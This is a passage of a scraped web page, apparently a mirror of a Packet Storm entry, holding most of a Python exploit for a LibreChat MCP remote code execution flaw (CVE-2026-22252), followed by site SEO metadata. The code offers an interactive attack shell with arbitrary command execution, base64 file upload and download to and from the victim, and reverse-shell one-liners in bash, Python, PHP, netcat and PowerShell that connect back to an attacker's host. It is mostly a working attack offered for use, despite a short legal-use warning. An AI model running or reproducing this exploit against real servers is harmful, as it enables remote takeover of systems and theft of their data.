self.command_history:\\n                print(\\&#8221;[*] No commands in history\\&#8221;)\\n                return\\n            \\n            print(\\&#8221;\\\\nCommand History (newest first):\\&#8221;)\\n            print(\\&#8221;-\\&#8221; * 50)\\n            for i, cmd in enumerate(reversed(self.command_history[-10:]), 1):\\n                print(f\\&#8221;{i:2d}. {cmd[:60]}{&#8216;&#8230;&#8217; if len(cmd) \\u003e 60 else &#8221;}\\&#8221;)\\n            print(\\&#8221;-\\&#8221; * 50)\\n        \\n        def _show_status(self):\\n            \\&#8221;\\&#8221;\\&#8221;Show system status\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n{&#8216;=&#8217;*50}\\&#8221;)\\n            print(\\&#8221;System Status:\\&#8221;)\\n            print(f\\&#8221;{&#8216;=&#8217;*50}\\&#8221;)\\n            print(f\\&#8221;Target:        {self.exploit.target_url}\\&#8221;)\\n            print(f\\&#8221;Version:       {self.exploit.target_info.version or &#8216;unknown&#8217;}\\&#8221;)\\n            print(f\\&#8221;User:          {self.exploit.auth_result.user_role}\\&#8221;)\\n            print(f\\&#8221;OS:            {self.exploit.target_info.os_type}\\&#8221;)\\n            print(f\\&#8221;Shell:         {self.exploit.target_info.shell_type}\\&#8221;)\\n            print(f\\&#8221;CSRF:          {&#8216;enabled&#8217; if self.exploit.target_info.csrf_enabled else &#8216;disabled&#8217;}\\&#8221;)\\n            print(f\\&#8221;MCP:           {&#8216;available&#8217; if self.exploit.target_info.mcp_available else &#8216;unavailable&#8217;}\\&#8221;)\\n            print(f\\&#8221;Requires admin: {&#8216;yes&#8217; if self.exploit.target_info.mcp_requires_admin else &#8216;no&#8217;}\\&#8221;)\\n            print(f\\&#8221;Output method: {self.output_mode.value}\\&#8221;)\\n            print(f\\&#8221;{&#8216;=&#8217;*50}\\&#8221;)\\n        \\n        def _change_output_mode(self):\\n            \\&#8221;\\&#8221;\\&#8221;Change output display method\\&#8221;\\&#8221;\\&#8221;\\n            modes = list(ExploitMode)\\n            print(\\&#8221;\\\\nAvailable output methods:\\&#8221;)\\n            for i, mode in enumerate(modes, 1):\\n                print(f\\&#8221;  {i}. {mode.value}\\&#8221;)\\n            \\n            try:\\n                choice = input(\\&#8221;\\\\nChoose number [1-4]: \\&#8221;).strip()\\n                if choice.isdigit() and 1 \\u003c= int(choice) \\u003c= len(modes):\\n                    self.output_mode = modes[int(choice) &#8211; 1]\\n                    print(f\\&#8221;[ok] Changed to: {self.output_mode.value}\\&#8221;)\\n                else:\\n                    print(\\&#8221;[!] Invalid choice\\&#8221;)\\n            except:\\n                print(\\&#8221;[!] Choice error\\&#8221;)\\n        \\n        def _handle_reverse_shell(self, cmd: str):\\n            \\&#8221;\\&#8221;\\&#8221;Handle reverse shell command\\&#8221;\\&#8221;\\&#8221;\\n            parts = cmd.split()\\n            if len(parts) \\u003c 3:\\n                print(\\&#8221;[!] Usage: shell [LHOST] [LPORT]\\&#8221;)\\n                return\\n            \\n            lhost = parts[1]\\n            lport = parts[2]\\n            \\n            if not lport.isdigit():\\n                print(\\&#8221;[!] Port must be a number\\&#8221;)\\n                return\\n            \\n            print(f\\&#8221;\\\\n[*] Preparing reverse shell to {lhost}:{lport}\\&#8221;)\\n            print(\\&#8221;[*] Make sure listener is running:\\&#8221;)\\n            print(f\\&#8221;    nc -lvnp {lport}\\&#8221;)\\n            print(\\&#8221;\\\\n[*] Attempting&#8230;\\&#8221;)\\n    \\n            shells = []\\n            \\n            if self.exploit.target_info.os_type == \\&#8221;linux\\&#8221;:\\n                shells = [\\n                    f\\&#8221;bash -c &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/{lhost}\/{lport} 0\\u003e\\u00261&#8217;\\&#8221;,\\n                    f\\&#8221;python3 -c &#8216;import socket,os,pty;s=socket.socket();s.connect((\\\\\\&#8221;{lhost}\\\\\\&#8221;,{lport}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\\\\&#8221;\/bin\/bash\\\\\\&#8221;)&#8217;\\&#8221;,\\n                    f\\&#8221;php -r &#8216;$s=fsockopen(\\\\\\&#8221;{lhost}\\\\\\&#8221;,{lport});exec(\\\\\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\\\\\&#8221;);&#8217;\\&#8221;,\\n                    f\\&#8221;nc -e \/bin\/sh {lhost} {lport}\\&#8221;,\\n                ]\\n            elif self.exploit.target_info.os_type == \\&#8221;windows\\&#8221;:\\n                shells = [\\n                    f\\&#8221;powershell -c \\\\\\&#8221;$c=New-Object System.Net.Sockets.TCPClient(&#8216;{lhost}&#8217;,{lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};while(($i=$s.Read($b,0,$b.Length)) -ne 0){{;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2\\u003e\\u00261 | Out-String );$sb2=$sb+&#8217;PS &#8216;+(pwd).Path+&#8217;\\u003e &#8216;;$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()}};$c.Close()\\\\\\&#8221;\\&#8221;,\\n                ]\\n            \\n            for i, shell_cmd in enumerate(shells, 1):\\n                print(f\\&#8221;\\\\n[*] Trying shell #{i}&#8230;\\&#8221;)\\n                success, message, _ = self.exploit.execute_command(shell_cmd, self.output_mode)\\n                \\n                if success:\\n                    print(f\\&#8221;[ok] Shell sent successfully\\&#8221;)\\n                    print(\\&#8221;[*] Wait 5 seconds for connection&#8230;\\&#8221;)\\n                    time.sleep(5)\\n                    break\\n                else:\\n                    print(f\\&#8221;[no] Failed: {message}\\&#8221;)\\n        \\n        def _handle_file_upload(self, cmd: str):\\n            \\&#8221;\\&#8221;\\&#8221;Upload file to server\\&#8221;\\&#8221;\\&#8221;\\n            parts = cmd.split()\\n            if len(parts) \\u003c 3:\\n                print(\\&#8221;[!] Usage: upload [local file] [remote path]\\&#8221;)\\n                return\\n            \\n            local_file = parts[1]\\n            remote_path = parts[2]\\n            \\n            if not os.path.exists(local_file):\\n                print(f\\&#8221;[!] Local file not found: {local_file}\\&#8221;)\\n                return\\n            \\n            try:\\n                with open(local_file, &#8216;rb&#8217;) as f:\\n                    content = f.read()\\n    \\n                import base64\\n                encoded_content = base64.b64encode(content).decode(&#8216;utf-8&#8217;)\\n    \\n                upload_cmd = f\\&#8221;\\&#8221;\\&#8221;\\n                echo &#8216;{encoded_content}&#8217; | base64 -d \\u003e \\&#8221;{remote_path}\\&#8221; \\u0026\\u0026 \\n                echo \\&#8221;UPLOAD_SUCCESS: {remote_path}\\&#8221; || \\n                echo \\&#8221;UPLOAD_FAILED\\&#8221;\\n                \\&#8221;\\&#8221;\\&#8221;\\n                \\n                print(f\\&#8221;[*] Uploading {local_file} to {remote_path}&#8230;\\&#8221;)\\n                success, message, output = self.exploit.execute_command(upload_cmd, self.output_mode)\\n                \\n                if success and output and \\&#8221;UPLOAD_SUCCESS\\&#8221; in output:\\n                    print(f\\&#8221;[ok] File uploaded successfully\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[no] Upload failed: {message}\\&#8221;)\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;[no] Upload error: {e}\\&#8221;)\\n        \\n        def _handle_file_download(self, cmd: str):\\n            \\&#8221;\\&#8221;\\&#8221;Download file from server\\&#8221;\\&#8221;\\&#8221;\\n            parts = cmd.split()\\n            if len(parts) \\u003c 3:\\n                print(\\&#8221;[!] Usage: download [remote path] [local file]\\&#8221;)\\n                return\\n            \\n            remote_path = parts[1]\\n            local_file = parts[2]\\n    \\n            download_cmd = f\\&#8221;\\&#8221;\\&#8221;\\n            if [ -f \\&#8221;{remote_path}\\&#8221; ]; then\\n                cat \\&#8221;{remote_path}\\&#8221; | base64 -w0;\\n                echo \\&#8221;\\&#8221;;\\n            else\\n                echo \\&#8221;FILE_NOT_FOUND\\&#8221;;\\n            fi\\n            \\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(f\\&#8221;[*] Downloading {remote_path} to {local_file}&#8230;\\&#8221;)\\n            success, message, output = self.exploit.execute_command(download_cmd, ExploitMode.ENCODED)\\n            \\n            if success and output and output.strip() and \\&#8221;FILE_NOT_FOUND\\&#8221; not in output:\\n                try:\\n                    import base64\\n                    content = base64.b64decode(output.strip())\\n                    \\n                    with open(local_file, &#8216;wb&#8217;) as f:\\n                        f.write(content)\\n                    \\n                    print(f\\&#8221;[ok] Downloaded successfully ({len(content)} bytes)\\&#8221;)\\n                    \\n                except Exception as e:\\n                    print(f\\&#8221;[no] Decryption error: {e}\\&#8221;)\\n            else:\\n                print(f\\&#8221;[no] Download failed: {message}\\&#8221;)\\n        \\n        def _execute_user_command(self, cmd: str):\\n            \\&#8221;\\&#8221;\\&#8221;Execute user command\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Executing&#8230;\\&#8221;)\\n            \\n            start_time = time.time()\\n            success, message, output = self.exploit.execute_command(cmd, self.output_mode)\\n            elapsed = time.time() &#8211; start_time\\n            \\n            if success:\\n                print(f\\&#8221;[ok] Executed ({elapsed:.2f} seconds)\\&#8221;)\\n                if output and output.strip():\\n                    print(f\\&#8221;\\\\n{&#8216;=&#8217;*50}\\&#8221;)\\n                    print(\\&#8221;Output:\\&#8221;)\\n                    print(f\\&#8221;{&#8216;=&#8217;*50}\\&#8221;)\\n                    print(output[:5000])  \\n                    if len(output) \\u003e 5000:\\n                        print(f\\&#8221;\\\\n[&#8230;] Output truncated ({len(output)} chars)\\&#8221;)\\n                    print(f\\&#8221;{&#8216;=&#8217;*50}\\&#8221;)\\n            else:\\n                print(f\\&#8221;[no] Failed: {message}\\&#8221;)\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;LibreChat MCP RCE Exploit &#8211; Final Version&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      %(prog)s -u http:\/\/localhost:3080 &#8211;check\\n      %(prog)s -u http:\/\/target.com &#8211;test\\n      %(prog)s -u http:\/\/target.com -c \\&#8221;id\\&#8221;\\n      %(prog)s -u http:\/\/target.com &#8211;interactive\\n            \\n     Warning: For legal and ethical use only.\\n        Written authorization required before testing any system.\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n       \\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, required=True,\\n                           help=&#8217;Target URL (e.g., http:\/\/localhost:3080)&#8217;)\\n        parser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;command&#8217;,\\n                           help=&#8217;Command to execute&#8217;)\\n        parser.add_argument(&#8216;-f&#8217;, &#8216;&#8211;command-file&#8217;,\\n                           help=&#8217;File containing commands to execute&#8217;)\\n        parser.add_argument(&#8216;&#8211;test&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Test vulnerability only&#8217;)\\n        parser.add_argument(&#8216;&#8211;check&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Check system only&#8217;)\\n        parser.add_argument(&#8216;&#8211;interactive&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Interactive mode&#8217;)\\n        parser.add_argument(&#8216;&#8211;username&#8217;, default=&#8217;test_user&#8217;,\\n                           help=&#8217;Username (default: test_user)&#8217;)\\n        parser.add_argument(&#8216;&#8211;password&#8217;, default=&#8217;Test12345!&#8217;,\\n                           help=&#8217;Password (default: Test12345!)&#8217;)\\n        parser.add_argument(&#8216;&#8211;email&#8217;, default=&#8217;test@example.local&#8217;,\\n                           help=&#8217;Email (default: test@example.local)&#8217;)\\n        parser.add_argument(&#8216;&#8211;timeout&#8217;, type=int, default=30,\\n                           help=&#8217;Timeout in seconds (default: 30)&#8217;)\\n        parser.add_argument(&#8216;&#8211;verbose&#8217;, &#8216;-v&#8217;, action=&#8217;store_true&#8217;,\\n                           help=&#8217;Show detailed information&#8217;)\\n        parser.add_argument(&#8216;&#8211;output-mode&#8217;, choices=[&#8216;direct&#8217;, &#8216;file&#8217;, &#8216;encoded&#8217;],\\n                           default=&#8217;encoded&#8217;, help=&#8217;Output extraction method&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        if args.verbose:\\n            logging.getLogger().setLevel(logging.DEBUG)\\n        \\n        print(\\&#8221;=\\&#8221;*60)\\n        print(\\&#8221;LibreChat MCP RCE Exploit by indoushka\\&#8221;)\\n        print(\\&#8221;CVE-2026-22252\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n        \\n        try:\\n            exploit = LibreChatExploit(args.url, args.timeout)\\n    \\n            print(\\&#8221;[*] Checking target system&#8230;\\&#8221;)\\n            target_ok, target_msg = exploit.check_target()\\n            \\n            if not target_ok:\\n                print(f\\&#8221;[no] {target_msg}\\&#8221;)\\n                sys.exit(1)\\n            \\n            print(f\\&#8221;[ok] {target_msg}\\&#8221;)\\n            print(f\\&#8221;\\\\n[*] System Information:\\&#8221;)\\n            print(f\\&#8221;    &#8211; Version: {exploit.target_info.version or &#8216;unknown&#8217;}\\&#8221;)\\n            print(f\\&#8221;    &#8211; OS: {exploit.target_info.os_type}\\&#8221;)\\n            print(f\\&#8221;    &#8211; Shell: {exploit.target_info.shell_type}\\&#8221;)\\n            print(f\\&#8221;    &#8211; CSRF: {&#8216;enabled&#8217; if exploit.target_info.csrf_enabled else &#8216;disabled&#8217;}\\&#8221;)\\n            if exploit.target_info.public_paths:\\n                print(f\\&#8221;    &#8211; Public paths: {&#8216;, &#8216;.join(exploit.target_info.public_paths)}\\&#8221;)\\n    \\n            print(\\&#8221;\\\\n[*] Checking MCP endpoint&#8230;\\&#8221;)\\n            mcp_ok, mcp_msg = exploit.check_mcp_endpoint()\\n            print(f\\&#8221;[*] MCP: {mcp_msg}\\&#8221;)\\n            \\n            if not mcp_ok and \\&#8221;requires authentication\\&#8221; not in mcp_msg:\\n                print(f\\&#8221;[!] Warning: {mcp_msg}\\&#8221;)\\n                if not args.interactive:\\n                    sys.exit(1)\\n    \\n            if args.check:\\n                sys.exit(0)\\n            \\n            if args.test:\\n                print(\\&#8221;\\\\n[*] Testing vulnerability&#8230;\\&#8221;)\\n                vulnerable, vuln_msg, output = exploit.test_vulnerability()\\n                \\n                if vulnerable:\\n                    print(f\\&#8221;[ok] {vuln_msg}\\&#8221;)\\n                    if output:\\n                        print(f\\&#8221;\\\\n[+] Sample output:\\\\n{output[:500]}\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[no] {vuln_msg}\\&#8221;)\\n                \\n                sys.exit(0)\\n            \\n            if args.command:\\n                output_mode = ExploitMode(args.output_mode)\\n                print(f\\&#8221;\\\\n[*] Executing command: {args.command}\\&#8221;)\\n                success, message, output = exploit.execute_command(args.command, output_mode)\\n                \\n                if success:\\n                    print(f\\&#8221;[ok] {message}\\&#8221;)\\n                    if output:\\n                        print(f\\&#8221;\\\\n[+] Output:\\\\n{output}\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[no] {message}\\&#8221;)\\n            \\n            elif args.interactive:\\n                shell = InteractiveExploitShell(exploit)\\n                shell.run()\\n            \\n            else:\\n                print(\\&#8221;\\\\n[!] No action specified. Use &#8211;help for help\\&#8221;)\\n        \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n\\\\n[*] Interrupted by user\\&#8221;)\\n            sys.exit(0)\\n        except Exception as e:\\n            logger.error(f\\&#8221;Unexpected error: {e}\\&#8221;)\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214609&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214609\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:50:33&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets the LibreChat MCP remote code execution vulnerability known as CVE-2026-22252. It provides a comprehensive and professional framework for detecting,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,13,53,7,11,5],"class_list":["post-38350","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=38350\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:50:33&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets the LibreChat MCP remote code execution vulnerability known as CVE-2026-22252. It provides a comprehensive and professional framework for detecting,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=38350\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-30T12:54:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"26 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609\",\"datePublished\":\"2026-01-30T12:54:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350\"},\"wordCount\":5032,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38350#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350\",\"name\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-30T12:54:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=38350\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=38350#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=38350","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-30T17:50:33&#8243;,&#8221;description&#8221;:&#8221;This proof of concept exploit targets the LibreChat MCP remote code execution vulnerability known as CVE-2026-22252. It provides a comprehensive and professional framework for detecting,...","og_url":"https:\/\/zero.redgem.net\/?p=38350","og_site_name":"zero redgem","article_published_time":"2026-01-30T12:54:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"26 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=38350#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=38350"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609","datePublished":"2026-01-30T12:54:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=38350"},"wordCount":5032,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=38350#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=38350","url":"https:\/\/zero.redgem.net\/?p=38350","name":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-30T12:54:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=38350#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=38350"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=38350#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 LibreChat MCP 0.8.2-rc2 Remote Code Execution_PACKETSTORM:214609"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 